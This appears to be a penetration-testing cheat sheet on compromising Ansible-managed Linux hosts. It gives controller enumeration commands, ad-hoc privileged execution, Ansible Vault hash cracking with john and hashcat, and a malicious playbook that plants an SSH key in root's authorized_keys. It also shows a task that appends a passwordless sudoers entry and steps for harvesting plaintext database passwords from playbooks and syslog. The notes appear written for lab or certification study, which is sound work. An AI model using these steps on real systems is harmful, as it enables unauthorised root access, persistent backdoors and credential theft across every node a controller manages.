Ansible

From controller context

For actions to be performed on the node, either the password for a user on the node needs to be stored on the controller, or the controller's Ansible account needs to be configured on the node using SSH keys. This allows the controller to connect to the node via SSH or other means and run the desired modules.

Because the Ansible server needs elevated privileges to perform certain tasks on the end node, the user configured by Ansible typically has root or sudo-level permissions. Because of this, compromising the Ansible server or getting the private key for an Ansible configuration account could allow complete compromise of any nodes in the Ansible controller's inventory.

The ansibleadm user on the controller issues commands. The same account exists on the victim node. This account on the victim node has the public key for the controller's ansibleadm user set in its authorized_keys file to allow access and has sudo rights on the node to be able to perform privileged actions.

If we have root access or access to the Ansible administrator account on the Ansible controller, we can run ad-hoc commands or playbooks as the Ansible user on all nodes, typically with elevated or root access (set backdoor user / add sudoers / transfer and execute reverse shell).

If Ansible is set up to use SSH for authentication to nodes, we could steal the Ansible administrator user's private key from their home folder and log in to the nodes directly.

Enumeration

Check if ansible in use: ansible / existence of an /etc/ansible / the presence of "ansible" related usernames in /etc/passwdor /home/ansible-user

Check node inventory: cat /etc/ansible/hosts

Check SSH keys

Commands

Ad-hoc

ansible {victim node} -a "whoami"
ansible {victim node} -a "whoami" --become {user} 
(default root if {user} blank)

Playbook

run: ansible-playbook xxx.yaml

read: cat /opt/ansible/playbooks/xxx.yaml

If we don't have access to run ansible-playbook but have read access to playbooks, we may be able to harvest sensitive credentials and compromise nodes used by Ansible.

Vault Cracking

1) key.yml
$ANSIBLE_VAULT;1.1;AES256
3936....
3036
2) generate crack format
python3 /usr/share/john/ansible2john.py ./key.yml
3) output hash.txt from 2)
$ansible$0*0*9661a95...110540
4) crack for vault pw -d 2
hashcat hash.txt  --hash-type=16900 /usr/share/wordlists/rockyou.txt
5) decrypt w/cracked pw
cat key.yml | ansible-vault decrypt

Decrypting encrypted files (as opposed to strings) is essentially the same process, since files are encrypted using the same encryption scheme.

Writable Playbook

/opt/playbooks/xxx.yaml
---
- name: Get system info
  hosts: all
  gather_facts: true
  become: yes
  tasks:
    - name: Display info
      debug:
          msg: "The hostname is {{ ansible_hostname }} and the OS is {{ ansible_distribution }}"

    - name: Create a directory if it does not exist
      file:
        path: /root/.ssh
        state: directory
        mode: '0700'
        owner: root
        group: root

    - name: Create authorized keys if it does not exist
      file:
        path: /root/.ssh/authorized_keys
        state: touch
        mode: '0600'
        owner: root
        group: root

    - name: Update keys
      lineinfile:
        path: /root/.ssh/authorized_keys
        line: ""
        insertbefore: EOF

If the playbook is run by the ansibleadm user, our key is added to the root user's account on the ansible node hosts. Once it is added, we are able to SSH to the ansible nodes machine from our Kali VM as root. ssh root@ansiblenodes

code exec playbook
    - name: Run command
      shell: echo 'user ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
      async: 10
      poll: 0

Sensitive Data

ansibleadm@controller:/opt/playbooks$ cat mysqlbackup.yml 
---
- name: Backup TPS reports
  hosts: victimnode
  gather_facts: true
  become: yes
  tasks:
    - name: Run command
      shell: mysql --user=root --password=hotdog123 --host=databaseserver --databases tpsreports --result-file=/root/reportsbackup
      async: 10 
      poll: 0

The username, password, and host for the MySQL database are all exposed for potential pivoting to the dbs.

@victimnode
cat /var/log/syslog | grep 'password'

Last updated